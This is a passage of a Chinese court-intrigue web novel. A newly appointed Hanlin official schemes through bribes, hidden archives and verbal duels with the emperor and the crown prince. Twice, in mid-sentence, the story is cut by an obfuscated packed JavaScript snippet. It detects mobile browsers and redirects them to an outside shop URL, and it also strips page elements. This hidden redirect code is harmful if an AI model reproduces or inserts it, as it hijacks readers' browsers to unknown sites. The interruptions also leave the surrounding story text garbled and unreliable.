“父亲在世时我年纪尚小,当年翟伯父死谏,父亲辞官回乡后,日日把自己关在书房里,郁郁而终……” 徐仲麟走在湖边,和展毓并肩而立,继续道:“我不知你到底有何图谋,但一个敢在殿试上点破军屯积弊,直言查硕鼠的人,绝不会是个只会邀宠献媚的佞臣。你曾对我多有提点,我既认了你这个朋友,就绝不会与你划清界限。” 这番话说得掷地有声,展毓微微一怔。 在这波诡云谲的地方,竟然还有这种死心眼,自己不过是顺手交个朋友,这傻子居然连九族都想搭进来。 半晌,展毓笑着拍了拍徐仲麟的肩。 “好啊。”展毓眯起眼睛,“你放心,真到了抄家灭族那天,我一定在供状上把你徐仲麟的名字写在第一个,黄泉路上有个伴,咱们好继续称兄道弟。” 徐仲麟应当是想骂几句脏话的,可惜圣贤书读得太多,词汇量实在匮乏,憋得脸红脖子粗,最后只咬牙切齿地挤出一句:“竖子!你这竖子简直不可理喻!” ...... 三日后,展毓正式入职翰林院,授正七品编修。 这官职虽不大,但能进翰林院这扇大门的,皆是科举中杀出来的天之骄子。这些天子门生每日伏案修史、侍讲经筵,或是替皇帝草拟诏书,做的都是文字上的功夫,最是清贵。 加之展毓受太子青睐,自然又是另一番光景了。 在那些惯会见风使舵的京官眼里,这位新科探花敢当众挑衅太子,太子非但不怒,还亲手为他簪花,说明展毓已经是东宫炙手可热的新贵了! 至于究竟是哪个部位热,大人们只敢在被窝里想一想,说出来是要挨板子的。 不仅太子,杏园宴后,皇帝对展毓的态度也十分微妙。一边晾着他,赏下来的好东西却不少,没头没尾,叫人琢磨不透圣意。 上头态度暧昧,底下的人自然要来投石问路。自打展毓入职,各路官员、同年甚至上峰送来的礼,那是五花八门,络绎不绝。 起先还只是些试探性的往来,有人约他吃个酒,顺便带点礼物,或是某位大人的管家登门,说主人家想请他吃些粗茶淡饭,勿要推辞。后来见这位探花的胃口极好,便有几个不讲究的,直接用盒子装着白花花的银子,央他替自家不争气的子弟润色两篇文章。 展毓一律笑纳,来者不拒。收了钱,他那张嘴简直像是开了光,奉承话一套接一套,把纨绔子弟硬生生夸出了“有李杜之遗风”,说得金主通体舒泰,宾主尽欢。 不过一月,他在翰林院的名声算是彻底臭了。 老翰林们在背后戳他脊梁骨,除了徐仲麟,爱惜羽毛的同僚们则对他敬而远之。 对此,展毓只是一笑了之。 一条贪财好利的恶犬,总比清高孤傲的狼更让多疑的主子放心。 收礼归收礼,翰林院的日常差事还得装模作样地干。上峰见他不仅圆滑还没有底线,便十分欣慰地打发他去修史。 修的不是别的,正是前朝的史。 这可是个烫手山芋。皇帝当年不过是个小小屯长,因缘际会揭竿而起,说白了就是造反起家,靠着杀伐才坐上了龙椅。这段历史写浅了是敷衍,写深了容易犯大忌讳。 怎么把造反说成顺应天命,这需要极高的文字功夫和极低的道德底线。 很不巧,这两样展毓都登峰造极。 这日午后,难得出了点太阳,书阁里一排排书架被晒得暖烘烘的,是个适合篡改历史的黄道吉日。 展毓晒足了太阳,彻底没了骨头,软趴趴地瘫在书案前,咬着笔杆,正绞尽脑汁地替皇帝捏造出生证明。 “红光满室”肯定得有。 “赤龙盘柱”也必须安排上。 虽说皇上出生的茅草屋可能连根像样的柱子都没有,但这不重要,大不了写那条龙为了顺应天命,委屈巴巴地盘在了拴驴的木桩上。 他随手翻阅着前朝旧档,寻找可以借鉴的祥瑞素材,一边在心里大逆不道地腹诽:莫不是因为皇帝出身草莽,晚年才越发渴望证明自己是真正的天命之子? 翻着翻着,手忽然停住了。 按官方的说法,皇上英明神武地攻破京城时,前朝皇室为了彰显气节,已经整整齐齐地殉国谢罪了。至于怎么个“殉”法,史官们极有默契地留了白。 可在这卷内务府的档案里,却留着一条颇为耐人寻味的记录,档上赫然写着:“九皇子突染恶疾,恐惊天颜,乳母抱至城外皇庄避痘。” 那座皇庄偏僻,理应在庄子里起痘的九皇子,此后便如泥牛入海,在所有的起居注和宗室名册里,消失得干干净净。 展毓眸光微微一凛,他不动声色地将那卷宗合上,慢慢放回了书架最深处,用旁边几卷不起眼的杂档压在上面,重新坐回案前,蘸饱了墨,继续洋洋洒洒地写那些无聊透顶的歌功颂德之词。 散值的时候,天色已经暗了大半。 展毓本打算直接回去,穿过长廊往外走,却听见前方廊下有人低声说话。 他放慢了脚步,没有刻意去听,只是顺着那声音往前走,脚步自然轻得像猫。 “今日早朝,那阵势真真是凶险至极。” 这是侍读学士孙大人的声音。 另一位侍讲钱大人接茬道:“这一倒春寒,北边的蛮族又开始犯边,皇上雷霆震怒,非要发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454175|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵。御史台那帮硬骨头带头死谏,说北境百姓苦寒,国库空虚,不宜大兴兵戈。说来说去,就是劝皇上咽下这口气,忍一忍。” 孙大人叹了口气:“唉,打仗,打的都是白花花的银子啊!皇上这口气咽不下去,那些个言官也真是死脑筋,非要去触龙鳞。” “要不是太子殿下居中周旋,这几个御史今日就得下狱了。”钱大人感慨万千,“太子殿下当着满朝文武的面,苦劝皇上,说打下来容易守下去难。蛮子那地方苦寒,占了又如何?每年的军费,移民实边,这账算下来,国库能不能撑住还两说。皇上心里应当也明白,那帮蛮子就是属狗的,没吞了中原的实力,不过就是时不时来骚扰,啃一口肉就跑,让人恶心罢了。” 孙大人听完,叹了一声:“太子殿下当真是仁爱之君,能在天子震怒之下舍身保全直臣,这份仁心,实乃大齐万民之幸啊!” 两人的脚步声渐行渐远,终至消失在长廊尽头。展毓隐在暗处,听着两人对太子感恩戴德的夸耀。 仁爱之君? 当年为了向他爹表忠心,这位太子殿下可是能把替他们凌家打下半壁江山的舅舅逼上绝路。如今面对几个非亲非故的言官,倒突然长出了一副菩萨心肠,敢去顶撞他那个独断专行的父皇了。 凌沧保的根本不是几个言官的命,他保的是他自己的圣名。 皇帝早有北伐之心,朝中武将以军功立身,自然紧紧依附天子,嗷嗷叫着要打仗。文官心疼钱口袋,百般阻挠,双方早已生出嫌隙。 今日这一出,皇帝搭了台子,太子倒好,直接顺水推舟,借着皇帝的戏台唱了一出收买人心的大戏,刀下留人,轻飘飘地把文官揽进了自己的怀里。 皇帝再怎么偏宠太子,终究是帝王。天无二日,国无二主。他自己唱着白脸,会容着儿子唱红脸? 这对父慈子孝,踩着累累白骨坐稳江山的父子,终于也要撕破那层温情的面纱,去尝尝彼此猜忌的滋味了。 展毓眨了下眼,走出廊下阴影,迎着夕阳往外走。 他没有回城东的小院,七拐八绕之后,轻车熟路地停在了一处高大的院墙外。 初入京城时,他便带着卫仪来这里探过底。此时天色已晚,按理说早该到了下钥的时辰,可草料场的大门却半掩着,竟然还有车在往外运粮草。 有意思。 太子白天刚在朝堂上率领百官哭穷,劝皇上罢兵休养生息,皇帝明面上由着他们在朝堂上表演直言进谏,装出一副被劝服的憋屈样,可暗地里户部的存粮早就动了起来。 没有皇帝的死命令,谁敢在这个节骨眼上顶风作案,连夜运粮草? 展毓正欲再绕着外墙走一圈,探探规模,忽地听到一阵风声。 那人的气息收敛得极好,多半是个武者,若不是展毓方才刻意屏住了呼吸,根本察觉不到。 展毓面色不改,脚步未停,在一个卖糖水的小摊前停下,掏出几枚铜板,要了一碗热气腾腾的汤圆。 他端着瓷碗,借着低头吹热气的功夫,余光不着痕迹地扫过身后的长街。街面上只有几个行色匆匆的夜归人,并没有什么可疑的身影。 15. 小人 一连忙了一个月,直到休沐才得了个喘息的空闲,天又闷得很,睡眠有些不足。 展毓捏了捏脸,用手指轻轻按了按眼下,确认没有明显的乌青,这才松了口气,换上一件冰蓝色的衣裳出了门,溜溜达达地逛去了谢府。 刚一进谢府后院,就看见谢青藜正对着一棵树发火,树上的叶子直往下掉。 “这树怎么不开眼,招惹谢二公子了?”展毓慢悠悠地晃过去,凑近看人,“踹得这般绵软无力,要不要我明日去太医院,替你讨几副固本培元的方子?” 如果不给人找点不痛快,他这一天算是白过了。 “还不都是我那个好大哥!”谢青藜一见是展毓,满肚子的委屈顿时找到了宣泄口,愤愤不平地倒起苦水,“今日我不过是从账房支了点银子,准备去鸣玉坊包个场听听曲儿,他倒端出个大哥的做派,把我训了半个时辰,说什么谢家门风败坏全因庶子无状,我呸!” 展毓深以为然地点点头:“你大哥说得对啊。” 谢青藜愣了一愣,用一双清澈中透着愚蠢的眼睛瞪他:“你到底跟谁一头的?” “自然是跟你。”展毓揽住谢青藜的肩,语重心长地开导他,“你想想,他是嫡长子,要承担起光耀门楣的重任,你只是个外室生的庶子,就是得当一个废物啊。” 谢青藜大为震撼:“啊?” 展毓循循善诱:“你若是突然奋发图强,哪天考了个状元回来,你大哥还能睡得着觉吗?他非得整宿琢磨怎么往你的饭里下毒。你多去找几次如烟,挥霍点银子,是为了维持你们谢家后宅的和谐,让你爹少操点心,你是在尽孝啊!” 谢青藜眼睛越睁越大,猛地一拍大腿,眼睛亮得吓人:“哥,你说得太有道理了,我以前怎么就没转过这个弯来?我这就去鸣玉坊接着尽孝!” 展毓目送这位“大孝子”一溜烟跑没了影,欣慰地笑了。 育人之乐,莫过于此。 他熟门熟路地绕过回廊,进了一处偏厅。 谢焕早已在里面等候,眼微阖。老头子半睡半醒地养着神,听见脚步声,连眼皮都没抬一下:“隔着大老远就听见你在教唆青藜败家。” “一收一放,阴阳调和。”展毓不客气地拉了把椅子坐下,懒洋洋地往后一靠,“谢老,您在朝堂上忙着聚敛,他在市井里忙着散财,水流而不腐,这可是个生生不息的风水大阵。” 谢焕轻哼了一声,没接这浑话。 展毓收起了那副做派,眸光微沉,切入正题:“有人跟我。” 谢焕终于睁开了一条缝:“哪边的人?” “不知道,跟了两条街就撤了。”展毓说,“像是在探底,看来是有人起疑心了。” 谢焕重新闭上眼,手指有节奏地敲着膝盖:“你如今是京城的新贵,多的是人盯着你,不要打草惊蛇。” “蛇可以不打,但草不能断。”展毓压低了声音,“若真要起事,靠几句悲歌和悼词可砸不开宫里的大门,养兵是要钱的。” 谢焕身为工部尚书,掌管大齐的各项工程,坐在这个位置上,说他两袖清风,鬼都不信。 “该给你的,一分也少不了。”谢焕不动声色地喝了口茶,“皇上近来要在各道加建六十座常平仓,等户部把银子批下来,南边修堤的窟窿自然就填上了,等一场大水,这账就平了。” 南边今年雨水重,汛期将至,展钧上个月来了封家书,说沽阳入梅以来连阴了二十三天,堤坝修了快三十年,今年怕是凶多吉少,已经提前让乡民往高处迁了一批。信里还顺带问他在京城吃不吃得惯,嘱咐他换季注意身体。 展钧熬红了眼治水保田,他坐在这里,静候一场滔天大水。 “常平仓是为了平抑粮价,储粮备荒,皇上此举当真是泽被四方。”拢在宽袖里的手无意识地收紧,展毓垂下眼睫,浅浅笑了笑,“老师也是难得的忠厚人,从未叫皇上操过半点心。” 谢焕掀起眼皮看了他一眼,重重将茶盏搁下。 “治水和谋事是一个理。”谢焕的声音透出经年的沧桑,“大坝得用铁石去筑,若是根基里掺了软泥,等洪水真扑过来时,可是要被冲散的。” …… 入了夏,京城彻底换了样,树叶墨绿,蝉鸣震天,宫墙边的合欢树开得正盛,绯红的花穗沉甸甸地垂着,风一过,便悠悠地荡起来。 在让人心烦气躁的暑热里,展毓的心情却是出奇的好。 入仕没几个月,他算是把天子门生的红利吃透了。翰林院那些两耳不闻窗外事的同僚,拢共一年领不了多少俸银,日日高谈阔论,以清贫为荣。 展毓不羡慕这种活法,他不仅要吃饱穿暖,还要吃得精、穿得美。 不仅从原来的破落院子搬到了一个三进宅子,手头一旦宽裕,骨子里那点穷讲究的臭毛病就彻底觉醒了,一口气给自己裁了二十套四季衣裳。颜色更是花了大工夫挑选,天热了,他便专挑冷色穿。 去翰林院点卯的时候虽穿着官服,私下见客或是去酒楼时,就像只开了屏的孔雀,招摇过市,生怕别人不知道他是个大贪官。 结果御史的弹劾还没来,先招来的是媒婆。 京城里的红娘媒婆们几乎踏破了他家的门槛,纷纷来打听生辰八字。谁不喜欢长得好看,前途不可限量的年轻后生呢?哪怕他名声稍微轻浮了点。 那能叫轻浮吗?那是少年风流! 这日午后,展毓正在翰林院里百无聊赖地翻着前朝的起居注,树影摇来晃去。 他往椅背上一靠,随手捻了颗蜜饯含着,正想着趁机小寐片刻,突然一纸口谕将他召进了御书房。 展毓把蜜饯往腮帮子里一顶,跟着传令的人走了。 皇帝正在批折子,听到展毓行礼叩拜的声音,连头都没抬,也没有立刻叫起,就这么晾了足足半炷香的时间。 直到展毓的膝盖都开始隐隐作痛,皇帝才慢条斯理地放下朱笔。 “起来吧。” 皇帝抽出一本折子,随意翻了翻:“你父亲展钧,是个好官。大齐说到底是由一个个县衙撑起来的,沽阳县今年的春汛,他治得好,保住了万亩良田,像你爹这样肯干实事的人,不多了。” 展毓心头一跳,知道正戏要开场了。 果然,皇帝语气骤冷,刀锋毕露:“可朕听说,你跟你父亲,一点都不像啊。光是人孝敬你的银子,就比你父亲这辈子见过的都多了,怎么,朕发给你的俸禄,饿着你了?” 伴君如伴虎,稍有不慎便是雷霆之怒,展毓反应很快:“陛下,臣确实不如家父,臣就是个俗人。” “俗人?”皇帝冷哼。 “家父所求,是青史留名,那是圣贤的活法。”展毓直视圣颜,坦然道,“而臣这等俗人,不求名垂千古,求的不过是碎银几两,锦衣玉食罢了。” 皇帝眉头微挑:“你倒是不避讳。” “臣不敢欺瞒陛下,”展毓继续道,“臣以为,家父爱名,臣爱财,这天下熙熙攘攘,说到底不过都是人的欲罢了。要成全一个像家父那样的名臣,代价何其之大?” 他故意顿了顿,见皇帝没有打断,便徐徐往回收:“沽阳县是大都督的老家,陛下没有因为偏宠周大人而掣肘家父,反而给了家父大展拳脚的空间。可见,只有像陛下这样的明君忍让,才能成全一个直臣的清名,而成全臣这样的俗人就简单多了。” 皇帝盯着跪在下方这个年轻俊美的探花郎,眼神忽明忽暗。 “哈哈哈哈哈……” 皇帝突然放声大笑,把守在门外的内侍都吓了一跳。 “好!满朝文武,一个个都在朕面前装圣人,唯独你展毓,你是个真小人!” 当日,皇帝非但没有治展毓的罪,反而赏了他百两黄金、蜀锦十匹。 此后接连几日,展毓便成了御前的常客。端茶倒水、研墨拟旨,皇帝似乎真把他当成了近臣。 直到某一日,展毓照例走进御书房时,抬眼一瞧,发现凌沧竟然也在。很显然,皇帝是故意把他们两个凑到一起的。 一左一右,两人隔着几步远,泾渭分明。展毓不着痕迹地扫了太子一眼,迅速垂下眼帘,垂手侍立。 “整整五个卫所!一触即溃!”皇帝将一份前线邸报砸在御案上,“朝廷每年这么多银子砸去九边,养出来的就是这么一群连蛮子都挡不住的饭桶!” 怒骂声在殿内回荡,皇帝发完火,视线却在展毓和凌沧之间来回游弋,忽地重重叹了口气:“看着你们俩站在一起,朕这心里,倒有些说不出是什么滋味。” 展毓心下一凛,面上半分不显。 “太子。”皇帝唤道,“你仔细看看,你觉得……展毓长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454176|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像你舅舅吗?” 此言一出,殿内死寂。展毓眼皮一跳,没想到皇帝会这么直接。不是说赵家是京城的忌讳吗?他怎么感觉这对父子倒是一点也不忌讳。 凌沧端详了展毓片刻,面色如常地收回视线:“回父皇,眉眼轮廓,确有几分神似。” “是啊……朕之前听说,你对展毓青眼有加,朕还纳闷呢,现在倒是明白了。”皇帝颇为惋惜地说,“刚才一晃神,连朕都有些恍惚了.....要是你舅舅还在,朕也不至于为了几个蛮子天天焦头烂额。算算年纪,你表弟也该和展卿一般大了。” 那些风花雪月的桃色传闻皇帝未必会信,但太子如果这么器重一个长得像自己表弟的人,在皇帝眼里,这不是摆明了念着旧情找个替身怀旧吗? 展毓本以为凌沧好歹会惶恐一下,哪怕是装个样子请罪。 却听凌沧恭敬地回道:“父皇仁慈,念及旧情。赵庭阶恃功自傲,图谋不轨,负了父皇的恩情。国法大过亲情,乱臣贼子,人人得而诛之。展毓做事不拘一格,文笔犀利,臣确实很欣赏这种少年意气,他是个不可多得的良才,自然不能与逆臣之子相提并论,平白污了展大人的清白。” 乱臣贼子,人人得而诛之。 展毓睫毛微微颤了一下,眼底瞬间翻涌起滔天的戾气,却又被浓重的阴影死死压住,没有泄露半分。 国法大过亲情,只要能坐上金灿灿的龙椅,就算是现在让凌沧亲手把赵家人的坟再刨一遍,把尸骨拉出来挫骨扬灰,这位以“仁孝”闻名天下的太子殿下,恐怕也不会皱一下眉头。 “展毓啊。” 展毓猛地回神,抬起头,对上了皇帝那双让人毛骨悚然的眼睛。 “太子说你是良才,朕不该污你的清白,可朕看着你这张脸,就难免怀念故人。朕的儿子如此器重你,朕也甚是喜欢你。”皇帝似笑非笑地看着他,“你倒说说看,这可如何是好啊?” 说向着太子,是结党营私,说向着皇帝,又是在挑拨父子关系。 展毓脑子一转:“臣不敢居功,更不敢妄称殿下器重,殿下眼里装的是九州万方,之所以看臣顺眼,全是因为臣是陛下您钦点的探花,是天子门生,殿下孝顺,不过是爱屋及乌,才肯对臣多看两眼罢了。” “滑头!”皇帝听罢,笑骂了一句,挥手将两人打发了出去。 出了御书房,走在长长的甬道上,两侧是高高的宫墙,夹峙着一线天,日影西斜。 凌沧突然停下脚步,回头看着展毓,恰到好处地表现出储君对臣子的体恤:“展大人怎么穿得这般单薄?虽说入了夏,夜里风大,莫要受了寒。” 展毓皮笑肉不笑地打着太极:“劳殿下挂心,臣出身乡野,皮糙肉厚,抗冻得很。” 凌沧又道:“你若是病了,孤去哪儿再找一个这么会哄父皇开心的探花郎?” 展毓自然听出了话里的轻蔑,这是在骂他是个逢迎献媚的弄臣,便回敬:“冷不冷,全看离炭火近不近,臣暖和着呢,倒是殿下……高处不胜寒,千万要保重身体才是。” 凌沧轻笑一声,而后道:“离炭火近是好事,可展大人莫要忘了,离得太近,若是被烧成了灰,可就什么都没了。” “皇兄!” 展毓正要反唇相讥,就听见一道清脆的女声。 一个穿着宫服的少女提着裙摆跑了过来,裙角飞扬,发簪上的流苏颠来颠去,毫无皇家的端庄,一看就是个急性子。 “娘刚刚醒了,正找你呢。” 少女跑到近前,话音戛然而止,看见了一旁的展毓。 凌呈月乌黑的眼睛眨了几下,眉头微蹙,像是在浓雾里突然撞见了一个无比熟悉的轮廓,还没看清,那轮廓又模糊了。 “咦……这是……”她歪着头,下意识地想靠近展毓看个真切。 “呈月,不得无礼。”凌沧适时地挡在展毓身前,温声打断了她,“这位是展毓展大人,不要没规矩。” 凌呈月被这么一斥,只好将后面的话生生咽了回去,最后狐疑地盯着展毓看了两眼,拽了拽凌沧的袖子:“哦……我们快走吧,别让娘等久了。” 展毓站在原地,看着兄妹俩渐行渐远的背影。 “确实暖和。”他勾起唇角,嘴唇动了动,“要是能把这整座皇城都烧成灰,想必会更暖和吧?”